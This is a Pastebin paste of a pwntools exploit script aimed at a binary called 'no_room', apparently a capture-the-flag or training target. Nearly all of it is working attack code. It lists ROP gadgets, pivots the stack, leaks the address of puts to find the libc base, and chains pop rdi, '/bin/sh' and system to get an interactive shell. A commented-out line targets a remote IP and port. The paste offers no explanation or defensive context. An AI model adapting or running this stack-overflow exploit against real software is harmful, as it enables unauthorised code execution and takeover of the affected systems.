Advertisement
Guest User

Untitled

a guest
Jul 20th, 2019
89
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.13 KB | None | 0 0
  1. from pwn import *
  2.  
  3. #context.log_level="DEBUG"
  4. #context.binary="./ropasaurusrex1"
  5.  
  6. exec_path = "./no_room"
  7. context.binary = exec_path
  8. e = ELF(exec_path)
  9.  
  10. log.info("context is: " + str(vars(context)))
  11.  
  12. # Determine offsets
  13. # RBP at 48
  14. offset=56
  15. libc = ELF('libc.so.6')
  16. puts_off = libc.symbols['puts']
  17. system_off = libc.symbols['system']
  18.  
  19. '''
  20. 0x000000000040076c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
  21. 0x000000000040076e : pop r13 ; pop r14 ; pop r15 ; ret
  22. 0x0000000000400770 : pop r14 ; pop r15 ; ret
  23. 0x0000000000400772 : pop r15 ; ret
  24. 0x000000000040056b : pop rbp ; mov edi, 0x601048 ; jmp rax
  25. 0x000000000040076b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
  26. 0x000000000040076f : pop rbp ; pop r14 ; pop r15 ; ret
  27. 0x0000000000400578 : pop rbp ; ret
  28. 0x0000000000400773 : pop rdi ; ret
  29. 0x0000000000400771 : pop rsi ; pop r15 ; ret
  30. 0x000000000040076d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
  31. 0x0000000000400295 : ret
  32.  
  33. '''
  34. # Legend
  35. '''
  36. leave:
  37. mov ESP, EBP
  38. pop EBP
  39.  
  40. call:
  41. push next_instruction_offset
  42. jmp procedure ; procedure is the address of the first instruction to be executed in the procedure
  43.  
  44. ret: transfers control to the return address placed on stack. The ret address is usually placed on stack by a call instruction.
  45. pop EIP_offset
  46. '''
  47.  
  48. # Addresses
  49. '''
  50. ret_to_main=0x804841d
  51. pivot=0x8049700
  52. gmon_plt=0x080482fc
  53. '''
  54. pop_rdi_ret=0x400773
  55.  
  56. leave_ret=0x4006d7
  57. ret_to_text=0x400520
  58. pivot=0x602080
  59. ret_to_read=0x004005f7
  60. rop=""
  61. #rop+=p64(pop_rdi_ret)+ p64(e.got['puts']) + p64(e.plt['puts']) + p64(ret_to_text)
  62. rop+="A"*8
  63. rop+=p64(pop_rdi_ret)
  64. rop+=p64(e.got['puts'])
  65. rop+=p64(e.plt['puts'])
  66. rop+=p64(ret_to_text)
  67.  
  68.  
  69. # Craft payloads
  70.  
  71. rop2=""
  72. rop2+="A"*(offset-8)
  73. rop2+=p64(pivot)+p64(leave_ret)+p64(pivot)+p64(pivot)
  74.  
  75.  
  76. #pay+=p32(e.plt['puts']) + p32(0x080484b6) + p32(1) + p32(e.got['puts']) + p32(4)
  77. #pay+=p32(ret_to_main) # echo service
  78.  
  79.  
  80. p=process(exec_path)
  81. #p=remote('141.85.224.103', '31337')
  82. #gdb.attach(p)
  83. gdb.attach(p)
  84. raw_input("Send payload1?")
  85. p.sendline(rop)
  86. #p.recvuntil('Now tell me your name: \n')
  87. #p.recvlines(4)
  88. raw_input("Send payload2?")
  89. p.sendline(rop2)
  90. #p.recv(5)
  91. p.recvlines(4)
  92. puts_libc = u64(p.recv(6)+"\x00"+"\x00")
  93. log.info("Leaked puts is: {}".format(hex(puts_libc)))
  94. libc_base = puts_libc - libc.symbols['puts']
  95. system_addr = libc_base + system_off
  96. sh_address = libc_base + next(libc.search('sh\x00'))
  97. log.info("Leaked libc base addr is: {}".format(hex(libc_base)))
  98. log.info("Leaked system address is: {}".format(hex(system_addr)))
  99. log.info("Leaked binsh addr is: {}".format(hex(sh_address)))
  100.  
  101. '''
  102. pay+=p32(pivot-4) + p32(e.plt['read']) +p32(0x80483f1)+ p32(0) + p32(pivot) + p32(56)
  103.  
  104. pay2="JUNK"+p32(e.plt['write']) + p32(0x080484b6) + p32(1) + p32(e.got['write']) + p32(4)
  105. pay2+=p32(e.plt['read']) + p32(0x080484b6) + p32(0) + p32(e.got['__gmon_start__']) + p32(4)
  106. pay2+=p32(gmon_plt) + "AAAA" + p32(0x804867f)
  107. '''
  108.  
  109.  
  110. rop3=""
  111. rop3+=cyclic(56)
  112. rop3+=p64(pop_rdi_ret)
  113. rop3+=p64(sh_address)
  114. rop3+=p64(system_addr)
  115. junk="AAAA"
  116. #p.recvlines(2)
  117. raw_input("Send pay3?")
  118. p.sendline(junk)
  119. raw_input('Send pay4?')
  120. p.sendline(rop3)
  121.  
  122. p.interactive()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement